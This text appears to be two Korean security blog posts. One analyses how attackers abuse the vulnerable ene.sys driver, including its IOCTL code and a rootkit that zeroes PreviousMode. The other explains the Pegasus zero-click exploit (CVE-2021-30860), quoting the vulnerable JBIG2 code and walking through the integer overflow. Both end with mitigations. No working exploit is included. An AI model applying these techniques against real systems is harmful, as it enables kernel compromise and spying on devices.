- ENE Technology에서 제작한 ene.sys 드라이버 모듈은 오픈소스인 WinIO 라이브러리로 작성됨

- 유저 영역에서 커널의 물리 메모리와 I/O 포트에 직접 접근을 가능하게 해주는 모듈

 

- 드라이버의 물리 메모리 접근 방식은 “ZwMapViewOfSection” API를 통한 공유 메모리 매핑 방식

- 메모리 매핑은 드라이버의 기능에 따라 필요 여부가 나뉘지만, 해당 기능을 사용하려면 드라이버를 호출하는 프로세스에 대한 검증이 철저히 이루어져야

 

2.1.1 호출 프로세스 검증 로직

① SB_SMBUS_SDK.dll 모듈 로드 검증

- ene.sys는 드라이버 실행 시점에 “PsSetLoadImageNotifyRoutine” API를 호출하여 모듈 처리와 관련된 콜백 루틴을 커널에 등록

- 콜백루틴은 프로세스가 로드하는 모듈이 SB_SMBUS_SDK.dll 인지 확인하고, 맞다면 해당 프로세스를 신뢰할 수 있는 프로세스로 인지하여 PID 정보를 ene.sys 전역변수에 저장

- 신뢰할 수 있는 프로세스가 되어 프로세스와 ene.sys 간 IOCTL 통신을 할 수 있게됨

※ IOCTL

> 컴퓨터 사용자와 커널을 잇는 인터페이스의 일부

> 사용자 공간의 코드가 하드웨어 장치, 커널 구성 요소와 통신할 수 있게 도와주는 역할

 

② AES 암호화가 이용된 IOCTL 통신 및 호출시간 검증

- 유저 영역의 프로세스가 ene.sys에 물리 메모리 매핑을 요청하기 위해서는 특정 IOCTL 값 (0x80102040)_WINIO_PHYSICAL_MEMORY_INFO_EX 구조체 정보를 드라이버에 전달하여 검증을 받음

typedef struct
_WINIO_PHYSICAL_MEMORY_INFO_EX {
중략
ULONG_PTR BusAddress; // 메모리 매핑을 원하는 물리 메모리 주소
중략
UCHAR EncryptedKey[16]; // 현재 시간 값에 대한 AES-ECB로 암호화한 값
} WINIO_PHYSICAL_MEMORY_INFO_EX, *
PWINIO_PHYSICAL_MEMORY_INFO_EX;

- 검증은 구조체 중 EncryptedKey변수를 이용하며, IOCTL 호출 시점의 시각IOCTL을 드라이버로부터 전달받아 처리한 시간차이가 2ms 미만일 경우 유효한 것으로 인지 후 IOCTL 처리

[사진 1]&nbsp;ene.sys의 호출자 및 유효 데이터 검증 절차

- ene.sys 드라이버 모듈은 유저 영역에서 물리 메모리 영역 매핑과 관련된 다음 취약점이 존재

> 오래된 오픈 소스 라이브러리 사용

> 자유로운 메모리 영역 접근

> 해당 모듈을 호출한 프로세스와 데이터의 유효성 검증 취약

※ ene.sys는 MSI 의 RGB 램 모듈을 제어하는 모듈로 위장되어 악성코드가 배포되고 있음

 

2.1.2 루트킷 악성코드

- 루트킷 자체는 로더 내 DLL로 위치하여 실행 시 ene.sys를 이용해 루트킷의 PreviousMode 주소 값을 0으로 변조

> PreviousMode 값이 0일 경우 God Mode로, 유저 영역과 커널 영역 모두 사용이 가능

- 이후 공격자는 커널 메모리를 조작하여 시스템 내 보안 시스템을 무력화 등 악성행위 수행

PreviousMode
- 유저 영역에서 동작하는 프로세스가 Nt 또는 Zw 계열의 함수를 호출할 경우
- Zw 계열의 함수는 동일한 기능을 수행하는 Nt 계열의 함수로 매핑
- Nt 계열의 함수는 호출한 드라이브가 유저 영역에서 호출한 것인지, 커널 영역에서 호출한 것인지를 확인
- 호출 위치를 판단하는데 PreviousMode 필드의 값을 통해 결정
- 호출 위치가 유저 영역일 경우 유저 영역의 메모리를 사용하게되고, 커널 영역일 경우 유저 영역과 커널 영역 모두 사용 가능함

 

[사진 2] 루트킷 동작 과정

 

3. 대응방안

① 엄격하게 드라이버 로드를 차단

- 일반 사용자 환경에서는 드라이버 로드를 하지 못하도록 통제

- MS는 윈도우 업데이트로 제공하는 취약 드라이버 차단 목록(Microsoft Vulnerable Driver Blocklist)과 HVCI(Hypervisor-Protected Code Integrity)를 통해 확인된 보안 취약점이 있는 드라이버가 기본적으로 차단

> 여러 보안 업체는 윈도우에 대한 계속되는 BYOD 공격과 취약한 드라이버 차단 목록이 정기적으로 업데이트되지 않는 것을 발견

 

② 보안 소프트웨어 업데이트를 최신으로 유지

 

4. 참고

[1] https://asec.ahnlab.com/ko/38593/
[2] https://www.itworld.co.kr/tags/81258/MFA/273211
[3] https://www.ejanews.co.kr/news/articleView.html?idxno=307927
[4] https://www.dailysecu.com/news/articleView.html?idxno=139976
[5] https://www.microsoft.com/en-us/security/blog/2021/12/08/improve-kernel-security-with-the-new-microsoft-vulnerable-and-malicious-driver-reporting-center/

1. 개요

- 모바일 보안수칙으로 보통 의심스러운(출처가 불분명한) 링크, 첨부파일 등을 클릭하지 말 것을 당부

- 이러한 대응방안을 무력화하는 방법이 제로클릭(Zero-Click) 기법

 

2. 제로클릭(Zero-Click)

- 단어 뜻 그대로 클릭이 제로인 상태를 뜻함

- 기존의 피싱 등을 통한 악성코드와 달리 사용자가 클릭하지 않아도 몰래 침투해 사용자의 스마트폰을 좀비폰으로 만듦

- 애플 iOS나 구글 안드로이드 운영체제, 왓츠앱 같은 메신저 프로그램의 취약점들을 악용해 사용자 몰래 기기에 침투

- 공격이 성공할 경우 통화 도청·녹음, 사진 촬영, 비밀번호 탈취 등이 가능해짐

- 제로클릭 공격은 정부기관 관계자, 정치인, 활동가 등 고위급 인사나 언론인을 대상으로 함

- 대중화됐다고 보기는 어렵지만  점점 증가하는 추세

- 제로클릭 공격에 대한 방어책을 신속하게 마련할 수 있도록 세부 논의가 필요

> 현재로써는 감염된 기기를 사용하지 않는 것 외에는 예방 방법이 없음

 

3. NSO 그룹의 페가수스(Pegasus)

- 이스라엘 보안업체 NSO 그룹이 개발하여 세계 각국 정부에 판매한 제로클릭 해킹 도구 (일종의 스파이웨어)

- 구글 프로젝트 제로(Project Zero) 팀은 지금까지 확인한 사이버 공격 가운데 기술적으로 가장 정교하다고 발표

 

3.1 분석 [1][4][5]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-30860 [6]

- CVE-2021-30860 할당

 

- 가짜 GIF로 코어그래픽스 PDF(CoreGraphics PDF) 파서의 취약점을 악용

※ 가짜 GIF는 확장자가 .gif이지만 실제로는 GIF 이미지 파일이 아님

 

- iMessage는 GIF 이미지를 네이티브로 지원하며, 해당 GIF를 무한반복 시키기 위해 ImageIO 라이브러리를 사용함

ImageIO 라이브러리는 파일 확장자에 상관없이 소스 파일의 올바른 형식을 추측하고 구문을 분석하는 데 사용

- 가짜 GIF 파일을 사용하면 20개 이상의 이미지 코덱이 아이메시지 제로클릭 공격 표면의 일부가 되어 수십만 줄의 코드를 원격으로 노출시킴

 

- JBIG2는 이미지 압축 표준으로, 몇가지 반복되는 문자를 대체해 파일 사이즈를 줄이는 기법

- 페가수스 스파이웨어는 이 과정에서 발생하는 취약점_참조된 세그먼트를 수집할 때 발생하는 오버플로_을 악용

 Guint numSyms; // (1)


  numSyms = 0;

  for (i = 0; i < nRefSegs; ++i) {

    if ((seg = findSegment(refSegs[i]))) {

      if (seg->getType() == jbig2SegSymbolDict) {

        numSyms += ((JBIG2SymbolDict *)seg)->getSize();  // (2)

      } else if (seg->getType() == jbig2SegCodeTable) {

        codeTables->append(seg);

      }

    } else {

      error(errSyntaxError, getPos(),

            "Invalid segment reference in JBIG2 text region");

      delete codeTables;

      return;

    }

  }

...

  // get the symbol bitmaps

  syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *)); // (3)


  kk = 0;

  for (i = 0; i < nRefSegs; ++i) {

    if ((seg = findSegment(refSegs[i]))) {

      if (seg->getType() == jbig2SegSymbolDict) {

        symbolDict = (JBIG2SymbolDict *)seg;

        for (k = 0; k < symbolDict->getSize(); ++k) {

          syms[kk++] = symbolDict->getBitmap(k); // (4)

        }

      }

    }

  }

- 먼저 (1)에서 numSyms를 32bit 정수형으로 선언

- 조작된 참조 세그먼트를통해 (2)에서 numSyms에 반복적으로 추가하는 동안 numSyms에서 Integer Overflow가 발생

- 이후, (3)에서 gmallocn 함수로 numSyms * 8만큼의 syms 힙을 할당

- (4)에서 비트맵의 값으로 syms를 채우는데, Integer Overflow로 인해 비트맵의 크기보다 작은 힙이 할당되고 out-of-bounds write가 가능

JBIG2Bitmap의 원래 경계를 벗어나 메모리를 읽고 쓸 수 있게 되는 것

 

- 추가적으로, JBIG2는 스크립트 기능이 없지만, 취약점과 결합하면 임의 메모리에서 작동하는 임의의 논리 게이트 회로를 실행시킬 수 있음

> 이 기능을 사용하면 독자적인 컴퓨터 아키텍처를 구축하고 실행할 수 있음

 

4. 대응방안 [5]

① 최신 버전으로의 업데이트 적용

> 당시 애플은 즉시 iOS 14.7.1 업데이트를 배포하며 취약점을 해결

[사진 2] 애플 패치 코드

② 데이터 보관 방법

- 중요 데이터 또는 민감 데이터는 별도의 장치에 저장

 

③ 검역소

- 제로클릭의 경우 대부분 GIF파일로 전파되므로, 격리된 메모리 공간에서 검증 후 격리

 

5. 참고

[1] https://www.ciokorea.com/t/34/%EB%AA%A8%EB%B0%94%EC%9D%BC/221704
[2] https://www.itworld.co.kr/news/216064
[3] https://www.digitaltoday.co.kr/news/articleView.html?idxno=437261
[4] https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into-nso-zero-click.html
[5] https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html
[6] https://nvd.nist.gov/vuln/detail/CVE-2021-30860

+ Recent posts